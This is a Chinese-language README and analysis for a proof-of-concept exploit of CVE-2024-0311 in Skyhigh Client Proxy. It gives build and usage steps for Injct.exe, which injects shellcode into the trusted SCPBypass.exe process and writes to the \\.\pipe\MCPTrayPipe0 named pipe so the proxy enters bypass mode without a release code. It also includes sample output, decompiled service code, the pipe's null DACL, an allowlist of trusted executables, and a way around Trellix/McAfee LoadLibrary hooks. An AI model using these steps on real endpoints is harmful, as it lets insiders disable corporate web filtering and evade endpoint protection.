这是一个针对我认为是 CVE-2024-0311、SB10418 的 PoC。
恶意内部人员无需有效的发布代码即可绕过 Skyhigh Client Proxy 的现有策略。
很多细节。非常利用。¯\(ツ)/¯
该 PoC 会注入到用户运行的 SCPBypass.exe 进程中,并写入 SCPService.exe 的管道:\\.\pipe\MCPTrayPipe0。
注入是必要的,因为即使管道是 RW Everyone,WGUARDNT 也会对写入管道的可执行文件进行一些检查(检查写入者路径),请参阅下文。
我们提供了一个示例 shellcode,即使在 Trellix/McAfee 正在运行并挂钩/阻止 LoadLibrary 的情况下,它也允许向管道执行 WriteFile。
使用 Visual Studio 以 Debug 或 Release 模式生成
通过以下方式生成 shellcode:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
然后将 shellcode 替换到 shellcode.c 中。
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
示例输出:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
如果一切顺利,在 SCP 日志文件中你应该会看到类似这样的记录:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
这将是一个简短的分析,因为谁也没时间看长篇大论。
首先,Skyhigh 代理客户端是什么?
Skyhigh Security Client Proxy 软件可帮助保护您的终端用户免受在企业网络内外访问网络时出现的安全威胁。 客户端软件安装在运行 Microsoft Windows 或 macOS 的终端上,它会重定向 Web 请求,或允许请求继续发送到代理进行过滤。服务器软件运行在以下管理平台之一:Trellix ePO SaaS 或 Trellix ePO Cloud。
这样应该就清楚了。
根据公告中的信息,没有太多可深挖的内容。
老实说,我本来是在分析这个二进制服务,想找出容易利用的本地提权(LPE)问题,看到 CreateNamedPipe 后我产生了兴趣。
下面是从 Ghidra 反编译出来的代码,我快速复制粘贴一下:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
正如我们看到的,一旦调用该函数,就会初始化一个新的 DACL 结构体,并创建一个处于 byte mode 的新管道 \\.\pipe\MCPTrayPipe0。
然后,只要这个管道的句柄有效,程序就会读取管道中的数据,并尝试使用 atoi(out_lpBuffer) 将发送给它的字节从 ASCII 转换为 int。
先不管有比 atoi 更好的选择;假设对 atoi 的调用没有失败,转换后的值会被传递给 FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
它调用了 SetWaitableTimer。这里的字符串有助于识别预期的流程。
这里的关键在于,ScpService.exe 进程对谁向管道写了什么数据没有任何检查,数据只是被盲目信任并传递。
此外,使用 accesschk 检查管道权限,结果显示管道为 RW Everyone。
因此,利用程序基本上应该执行以下操作:
CreateFile():获取管道的句柄SetNamedPipeHandleState():设置字节模式WriteFile():写入数据CloseHandle():关闭句柄这实际上只需几行 PowerShell 就能完成。 轻松拿下,对吧?不。
如果事情真有这么简单就好了!尽管从技术上讲,一切似乎都应该按这种方式运作,但打开管道时总是以管道客户端超时告终。 再深入挖掘一下,我们发现该服务在别处设置了 ACL。
ScpService 使用的默认安全描述符初始化如下:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
这表示一个 DACL,它不会向任何人授予访问权限。
如果对象安全描述符的自主访问控制列表(DACL)被设置为 NULL,则会创建一个 null DACL。 null DACL 会向任何请求访问的用户授予完全访问权限;对于该对象,不会执行常规安全检查。 不应将 null DACL 与空 DACL 混淆。空 DACL 是经过适当分配和初始化、但不包含任何访问控制 项(ACE)的 DACL。空 DACL 不会向其分配的对象授予任何访问权限。
最有可能的是,ACE/DACL 被委托给 \\.\WGUARDNT,它似乎是一个保护层(McAfee?),负责向有限的对象列表授予访问权限:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
嗯,如果连接的可执行文件会与已知可执行文件/路径列表进行比对,并且由于 SCPBypass.exe 是以我们用户的权限运行的,而且似乎在受信任的应用程序列表中,那我们能不能直接把 DLL 注入到 SCPBypass.exe 中?
完全可以!可惜 Trellix/McAfee 会阻止你调用 LoadLibrary。
因此,项目中会有那个未使用的 InjmeDLL。
最终我们选择了由 @wolfcod 拼凑出来的一个快速而粗糙的解决方案:直接注入一段 shellcode 来完成必要操作,因为该进程反正已经加载了所有内容。 相对于直接调用系统调用或尝试其他花招,这个简单的解决方案对我们的使用场景来说已经够用了。
这最终成功绕过了 AV/EDR 解决方案施加的限制,并得到了一个可用的利用程序。
👋 干杯!